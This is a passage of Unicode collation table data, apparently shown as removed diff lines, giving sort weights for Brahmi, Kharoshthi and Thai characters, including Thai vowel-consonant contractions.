-1100E ; [.2BFC.0020.0002] # BRAHMI LETTER VOCALIC LL
-1100F ; [.2BFD.0020.0002] # BRAHMI LETTER E
-11010 ; [.2BFE.0020.0002] # BRAHMI LETTER AI
-11011 ; [.2BFF.0020.0002] # BRAHMI LETTER O
-11012 ; [.2C00.0020.0002] # BRAHMI LETTER AU
-11013 ; [.2C01.0020.0002] # BRAHMI LETTER KA
-11014 ; [.2C02.0020.0002] # BRAHMI LETTER KHA
-11015 ; [.2C03.0020.0002] # BRAHMI LETTER GA
-11016 ; [.2C04.0020.0002] # BRAHMI LETTER GHA
-11017 ; [.2C05.0020.0002] # BRAHMI LETTER NGA
-11018 ; [.2C06.0020.0002] # BRAHMI LETTER CA
-11019 ; [.2C07.0020.0002] # BRAHMI LETTER CHA
-1101A ; [.2C08.0020.0002] # BRAHMI LETTER JA
-1101B ; [.2C09.0020.0002] # BRAHMI LETTER JHA
-1101C ; [.2C0A.0020.0002] # BRAHMI LETTER NYA
-1101D ; [.2C0B.0020.0002] # BRAHMI LETTER TTA
-1101E ; [.2C0C.0020.0002] # BRAHMI LETTER TTHA
-1101F ; [.2C0D.0020.0002] # BRAHMI LETTER DDA
-11020 ; [.2C0E.0020.0002] # BRAHMI LETTER DDHA
-11021 ; [.2C0F.0020.0002] # BRAHMI LETTER NNA
-11022 ; [.2C10.0020.0002] # BRAHMI LETTER TA
-11023 ; [.2C11.0020.0002] # BRAHMI LETTER THA
-11024 ; [.2C12.0020.0002] # BRAHMI LETTER DA
-11025 ; [.2C13.0020.0002] # BRAHMI LETTER DHA
-11026 ; [.2C14.0020.0002] # BRAHMI LETTER NA
-11027 ; [.2C15.0020.0002] # BRAHMI LETTER PA
-11028 ; [.2C16.0020.0002] # BRAHMI LETTER PHA
-11029 ; [.2C17.0020.0002] # BRAHMI LETTER BA
-1102A ; [.2C18.0020.0002] # BRAHMI LETTER BHA
-1102B ; [.2C19.0020.0002] # BRAHMI LETTER MA
-1102C ; [.2C1A.0020.0002] # BRAHMI LETTER YA
-1102D ; [.2C1B.0020.0002] # BRAHMI LETTER RA
-1102E ; [.2C1C.0020.0002] # BRAHMI LETTER LA
-1102F ; [.2C1D.0020.0002] # BRAHMI LETTER VA
-11030 ; [.2C1E.0020.0002] # BRAHMI LETTER SHA
-11031 ; [.2C1F.0020.0002] # BRAHMI LETTER SSA
-11032 ; [.2C20.0020.0002] # BRAHMI LETTER SA
-11033 ; [.2C21.0020.0002] # BRAHMI LETTER HA
-11003 ; [.2C22.0020.0002] # BRAHMI SIGN JIHVAMULIYA
-11004 ; [.2C23.0020.0002] # BRAHMI SIGN UPADHMANIYA
-11034 ; [.2C24.0020.0002] # BRAHMI LETTER LLA
-11035 ; [.2C25.0020.0002] # BRAHMI LETTER OLD TAMIL LLLA
-11036 ; [.2C26.0020.0002] # BRAHMI LETTER OLD TAMIL RRA
-11037 ; [.2C27.0020.0002] # BRAHMI LETTER OLD TAMIL NNNA
-11038 ; [.2C28.0020.0002] # BRAHMI VOWEL SIGN AA
-11039 ; [.2C29.0020.0002] # BRAHMI VOWEL SIGN BHATTIPROLU AA
-1103A ; [.2C2A.0020.0002] # BRAHMI VOWEL SIGN I
-1103B ; [.2C2B.0020.0002] # BRAHMI VOWEL SIGN II
-1103C ; [.2C2C.0020.0002] # BRAHMI VOWEL SIGN U
-1103D ; [.2C2D.0020.0002] # BRAHMI VOWEL SIGN UU
-1103E ; [.2C2E.0020.0002] # BRAHMI VOWEL SIGN VOCALIC R
-1103F ; [.2C2F.0020.0002] # BRAHMI VOWEL SIGN VOCALIC RR
-11040 ; [.2C30.0020.0002] # BRAHMI VOWEL SIGN VOCALIC L
-11041 ; [.2C31.0020.0002] # BRAHMI VOWEL SIGN VOCALIC LL
-11042 ; [.2C32.0020.0002] # BRAHMI VOWEL SIGN E
-11043 ; [.2C33.0020.0002] # BRAHMI VOWEL SIGN AI
-11044 ; [.2C34.0020.0002] # BRAHMI VOWEL SIGN O
-11045 ; [.2C35.0020.0002] # BRAHMI VOWEL SIGN AU
-11046 ; [.2C36.0020.0002] # BRAHMI VIRAMA
-1107F ; [.2C37.0020.0002] # BRAHMI NUMBER JOINER
-10A00 ; [.2C38.0020.0002] # KHAROSHTHI LETTER A
-10A01 ; [.2C39.0020.0002] # KHAROSHTHI VOWEL SIGN I
-10A02 ; [.2C3A.0020.0002] # KHAROSHTHI VOWEL SIGN U
-10A03 ; [.2C3B.0020.0002] # KHAROSHTHI VOWEL SIGN VOCALIC R
-10A05 ; [.2C3C.0020.0002] # KHAROSHTHI VOWEL SIGN E
-10A06 ; [.2C3D.0020.0002] # KHAROSHTHI VOWEL SIGN O
-10A0C ; [.2C3E.0020.0002] # KHAROSHTHI VOWEL LENGTH MARK
-10A10 ; [.2C3F.0020.0002] # KHAROSHTHI LETTER KA
-10A11 ; [.2C40.0020.0002] # KHAROSHTHI LETTER KHA
-10A12 ; [.2C41.0020.0002] # KHAROSHTHI LETTER GA
-10A13 ; [.2C42.0020.0002] # KHAROSHTHI LETTER GHA
-10A15 ; [.2C43.0020.0002] # KHAROSHTHI LETTER CA
-10A16 ; [.2C44.0020.0002] # KHAROSHTHI LETTER CHA
-10A17 ; [.2C45.0020.0002] # KHAROSHTHI LETTER JA
-10A19 ; [.2C46.0020.0002] # KHAROSHTHI LETTER NYA
-10A1A ; [.2C47.0020.0002] # KHAROSHTHI LETTER TTA
-10A1B ; [.2C48.0020.0002] # KHAROSHTHI LETTER TTHA
-10A1C ; [.2C49.0020.0002] # KHAROSHTHI LETTER DDA
-10A1D ; [.2C4A.0020.0002] # KHAROSHTHI LETTER DDHA
-10A1E ; [.2C4B.0020.0002] # KHAROSHTHI LETTER NNA
-10A1F ; [.2C4C.0020.0002] # KHAROSHTHI LETTER TA
-10A20 ; [.2C4D.0020.0002] # KHAROSHTHI LETTER THA
-10A21 ; [.2C4E.0020.0002] # KHAROSHTHI LETTER DA
-10A22 ; [.2C4F.0020.0002] # KHAROSHTHI LETTER DHA
-10A23 ; [.2C50.0020.0002] # KHAROSHTHI LETTER NA
-10A24 ; [.2C51.0020.0002] # KHAROSHTHI LETTER PA
-10A25 ; [.2C52.0020.0002] # KHAROSHTHI LETTER PHA
-10A26 ; [.2C53.0020.0002] # KHAROSHTHI LETTER BA
-10A27 ; [.2C54.0020.0002] # KHAROSHTHI LETTER BHA
-10A28 ; [.2C55.0020.0002] # KHAROSHTHI LETTER MA
-10A29 ; [.2C56.0020.0002] # KHAROSHTHI LETTER YA
-10A2A ; [.2C57.0020.0002] # KHAROSHTHI LETTER RA
-10A2B ; [.2C58.0020.0002] # KHAROSHTHI LETTER LA
-10A2C ; [.2C59.0020.0002] # KHAROSHTHI LETTER VA
-10A2D ; [.2C5A.0020.0002] # KHAROSHTHI LETTER SHA
-10A2E ; [.2C5B.0020.0002] # KHAROSHTHI LETTER SSA
-10A2F ; [.2C5C.0020.0002] # KHAROSHTHI LETTER SA
-10A30 ; [.2C5D.0020.0002] # KHAROSHTHI LETTER ZA
-10A31 ; [.2C5E.0020.0002] # KHAROSHTHI LETTER HA
-10A32 ; [.2C5F.0020.0002] # KHAROSHTHI LETTER KKA
-10A33 ; [.2C60.0020.0002] # KHAROSHTHI LETTER TTTHA
-10A3F ; [.2C61.0020.0002] # KHAROSHTHI VIRAMA
-0E01  ; [.2C62.0020.0002] # THAI CHARACTER KO KAI
-0E40 0E01 ; [.2C62.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KO KAI>
-0E41 0E01 ; [.2C62.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KO KAI>
-0E42 0E01 ; [.2C62.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KO KAI>
-0E43 0E01 ; [.2C62.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KO KAI>
-0E44 0E01 ; [.2C62.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KO KAI>
-0E02  ; [.2C63.0020.0002] # THAI CHARACTER KHO KHAI
-0E40 0E02 ; [.2C63.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHAI>
-0E41 0E02 ; [.2C63.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHAI>
-0E42 0E02 ; [.2C63.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHAI>
-0E43 0E02 ; [.2C63.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHAI>
-0E44 0E02 ; [.2C63.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHAI>
-0E03  ; [.2C64.0020.0002] # THAI CHARACTER KHO KHUAT
-0E40 0E03 ; [.2C64.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHUAT>
-0E41 0E03 ; [.2C64.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHUAT>
-0E42 0E03 ; [.2C64.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHUAT>
-0E43 0E03 ; [.2C64.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHUAT>
-0E44 0E03 ; [.2C64.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHUAT>
-0E04  ; [.2C65.0020.0002] # THAI CHARACTER KHO KHWAI
-0E40 0E04 ; [.2C65.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHWAI>
-0E41 0E04 ; [.2C65.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHWAI>
-0E42 0E04 ; [.2C65.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHWAI>
-0E43 0E04 ; [.2C65.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHWAI>
-0E44 0E04 ; [.2C65.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHWAI>
-0E05  ; [.2C66.0020.0002] # THAI CHARACTER KHO KHON
-0E40 0E05 ; [.2C66.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHON>
-0E41 0E05 ; [.2C66.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHON>
-0E42 0E05 ; [.2C66.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHON>
-0E43 0E05 ; [.2C66.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHON>
-0E44 0E05 ; [.2C66.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHON>
-0E06  ; [.2C67.0020.0002] # THAI CHARACTER KHO RAKHANG
-0E40 0E06 ; [.2C67.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO RAKHANG>
-0E41 0E06 ; [.2C67.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO RAKHANG>
-0E42 0E06 ; [.2C67.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO RAKHANG>
-0E43 0E06 ; [.2C67.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO RAKHANG>
-0E44 0E06 ; [.2C67.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO RAKHANG>
-0E07  ; [.2C68.0020.0002] # THAI CHARACTER NGO NGU
-0E40 0E07 ; [.2C68.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER NGO NGU>
-0E41 0E07 ; [.2C68.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER NGO NGU>
-0E42 0E07 ; [.2C68.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER NGO NGU>
-0E43 0E07 ; [.2C68.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER NGO NGU>
-0E44 0E07 ; [.2C68.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER NGO NGU>
-0E08  ; [.2C69.0020.0002] # THAI CHARACTER CHO CHAN
-0E40 0E08 ; [.2C69.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHAN>
-0E41 0E08 ; [.2C69.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHAN>
-0E42 0E08 ; [.2C69.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHAN>
-0E43 0E08 ; [.2C69.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHAN>
-0E44 0E08 ; [.2C69.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHAN>
-0E09  ; [.2C6A.0020.0002] # THAI CHARACTER CHO CHING
-0E40 0E09 ; [.2C6A.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHING>
-0E41 0E09 ; [.2C6A.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHING>
-0E42 0E09 ; [.2C6A.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHING>
-0E43 0E09 ; [.2C6A.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHING>
-0E44 0E09 ; [.2C6A.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHING>
-0E0A  ; [.2C6B.0020.0002] # THAI CHARACTER CHO CHANG
-0E40 0E0A ; [.2C6B.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHANG>
-0E41 0E0A ; [.2C6B.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHANG>
-0E42 0E0A ; [.2C6B.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHANG>
-0E43 0E0A ; [.2C6B.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHANG>
-0E44 0E0A ; [.2C6B.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHANG>
-0E0B  ; [.2C6C.0020.0002] # THAI CHARACTER SO SO
-0E40 0E0B ; [.2C6C.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO SO>
-0E41 0E0B ; [.2C6C.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO SO>
-0E42 0E0B ; [.2C6C.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO SO>
-0E43 0E0B ; [.2C6C.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO SO>
-0E44 0E0B ; [.2C6C.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO SO>
-0E0C  ; [.2C6D.0020.0002] # THAI CHARACTER CHO CHOE
-0E40 0E0C ; [.2C6D.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHOE>
-0E41 0E0C ; [.2C6D.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHOE>
-0E42 0E0C ; [.2C6D.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHOE>
-0E43 0E0C ; [.2C6D.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHOE>
-0E44 0E0C ; [.2C6D.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHOE>
-0E0D  ; [.2C6E.0020.0002] # THAI CHARACTER YO YING
-0E40 0E0D ; [.2C6E.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER YO YING>
-0E41 0E0D ; [.2C6E.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER YO YING>
-0E42 0E0D ; [.2C6E.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER YO YING>
-0E43 0E0D ; [.2C6E.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER YO YING>
-0E44 0E0D ; [.2C6E.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER YO YING>
-0E0E  ; [.2C6F.0020.0002] # THAI CHARACTER DO CHADA
-0E40 0E0E ; [.2C6F.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER DO CHADA>
-0E41 0E0E ; [.2C6F.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER DO CHADA>
-0E42 0E0E ; [.2C6F.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER DO CHADA>
-0E43 0E0E ; [.2C6F.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER DO CHADA>
-0E44 0E0E ; [.2C6F.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER DO CHADA>
-0E0F  ; [.2C70.0020.0002] # THAI CHARACTER TO PATAK
-0E40 0E0F ; [.2C70.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER TO PATAK>
-0E41 0E0F ; [.2C70.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER TO PATAK>
-0E42 0E0F ; [.2C70.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER TO PATAK>
-0E43 0E0F ; [.2C70.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER TO PATAK>
-0E44 0E0F ; [.2C70.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER TO PATAK>
-0E10  ; [.2C71.0020.0002] # THAI CHARACTER THO THAN
-0E40 0E10 ; [.2C71.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THAN>
-0E41 0E10 ; [.2C71.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THAN>
-0E42 0E10 ; [.2C71.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THAN>
-0E43 0E10 ; [.2C71.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THAN>
-0E44 0E10 ; [.2C71.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THAN>
-0E11  ; [.2C72.0020.0002] # THAI CHARACTER THO NANGMONTHO
-0E40 0E11 ; [.2C72.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO NANGMONTHO>
-0E41 0E11 ; [.2C72.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO NANGMONTHO>
-0E42 0E11 ; [.2C72.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO NANGMONTHO>
-0E43 0E11 ; [.2C72.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO NANGMONTHO>
-0E44 0E11 ; [.2C72.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO NANGMONTHO>
-0E12  ; [.2C73.0020.0002] # THAI CHARACTER THO PHUTHAO
-0E40 0E12 ; [.2C73.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO PHUTHAO>
-0E41 0E12 ; [.2C73.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO PHUTHAO>
-0E42 0E12 ; [.2C73.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO PHUTHAO>
-0E43 0E12 ; [.2C73.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO PHUTHAO>
-0E44 0E12 ; [.2C73.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO PHUTHAO>
-0E13  ; [.2C74.0020.0002] # THAI CHARACTER NO NEN
-0E40 0E13 ; [.2C74.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER NO NEN>
-0E41 0E13 ; [.2C74.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER NO NEN>
-0E42 0E13 ; [.2C74.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER NO NEN>
-0E43 0E13 ; [.2C74.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER NO NEN>
-0E44 0E13 ; [.2C74.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER NO NEN>
-0E14  ; [.2C75.0020.0002] # THAI CHARACTER DO DEK
-0E40 0E14 ; [.2C75.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER DO DEK>
-0E41 0E14 ; [.2C75.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER DO DEK>
-0E42 0E14 ; [.2C75.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER DO DEK>
-0E43 0E14 ; [.2C75.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER DO DEK>
-0E44 0E14 ; [.2C75.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER DO DEK>
-0E15  ; [.2C76.0020.0002] # THAI CHARACTER TO TAO
-0E40 0E15 ; [.2C76.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER TO TAO>
-0E41 0E15 ; [.2C76.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER TO TAO>
-0E42 0E15 ; [.2C76.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER TO TAO>
-0E43 0E15 ; [.2C76.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER TO TAO>
-0E44 0E15 ; [.2C76.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER TO TAO>
-0E16  ; [.2C77.0020.0002] # THAI CHARACTER THO THUNG
-0E40 0E16 ; [.2C77.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THUNG>
-0E41 0E16 ; [.2C77.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THUNG>
-0E42 0E16 ; [.2C77.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THUNG>
-0E43 0E16 ; [.2C77.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THUNG>
-0E44 0E16 ; [.2C77.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THUNG>
-0E17  ; [.2C78.0020.0002] # THAI CHARACTER THO THAHAN
-0E40 0E17 ; [.2C78.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THAHAN>
-0E41 0E17 ; [.2C78.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THAHAN>
-0E42 0E17 ; [.2C78.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THAHAN>
-0E43 0E17 ; [.2C78.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THAHAN>
-0E44 0E17 ; [.2C78.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THAHAN>
-0E18  ; [.2C79.0020.0002] # THAI CHARACTER THO THONG
-0E40 0E18 ; [.2C79.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THONG>
-0E41 0E18 ; [.2C79.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THONG>
-0E42 0E18 ; [.2C79.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THONG>
-0E43 0E18 ; [.2C79.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THONG>
-0E44 0E18 ; [.2C79.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THONG>
-0E19  ; [.2C7A.0020.0002] # THAI CHARACTER NO NU
-0E40 0E19 ; [.2C7A.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER NO NU>
-0E41 0E19 ; [.2C7A.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER NO NU>
-0E42 0E19 ; [.2C7A.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER NO NU>
-0E43 0E19 ; [.2C7A.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER NO NU>
-0E44 0E19 ; [.2C7A.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER NO NU>
-0E1A  ; [.2C7B.0020.0002] # THAI CHARACTER BO BAIMAI
-0E40 0E1A ; [.2C7B.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER BO BAIMAI>
-0E41 0E1A ; [.2C7B.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER BO BAIMAI>
-0E42 0E1A ; [.2C7B.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER BO BAIMAI>
-0E43 0E1A ; [.2C7B.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER BO BAIMAI>
-0E44 0E1A ; [.2C7B.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER BO BAIMAI>
-0E1B  ; [.2C7C.0020.0002] # THAI CHARACTER PO PLA
-0E40 0E1B ; [.2C7C.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PO PLA>
-0E41 0E1B ; [.2C7C.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PO PLA>
-0E42 0E1B ; [.2C7C.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PO PLA>
-0E43 0E1B ; [.2C7C.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PO PLA>
-0E44 0E1B ; [.2C7C.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PO PLA>
-0E1C  ; [.2C7D.0020.0002] # THAI CHARACTER PHO PHUNG
-0E40 0E1C ; [.2C7D.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PHO PHUNG>
-0E41 0E1C ; [.2C7D.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PHO PHUNG>
-0E42 0E1C ; [.2C7D.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PHO PHUNG>
-0E43 0E1C ; [.2C7D.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PHO PHUNG>
-0E44 0E1C ; [.2C7D.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PHO PHUNG>
-0E1D  ; [.2C7E.0020.0002] # THAI CHARACTER FO FA
-0E40 0E1D ; [.2C7E.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER FO FA>
-0E41 0E1D ; [.2C7E.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER FO FA>
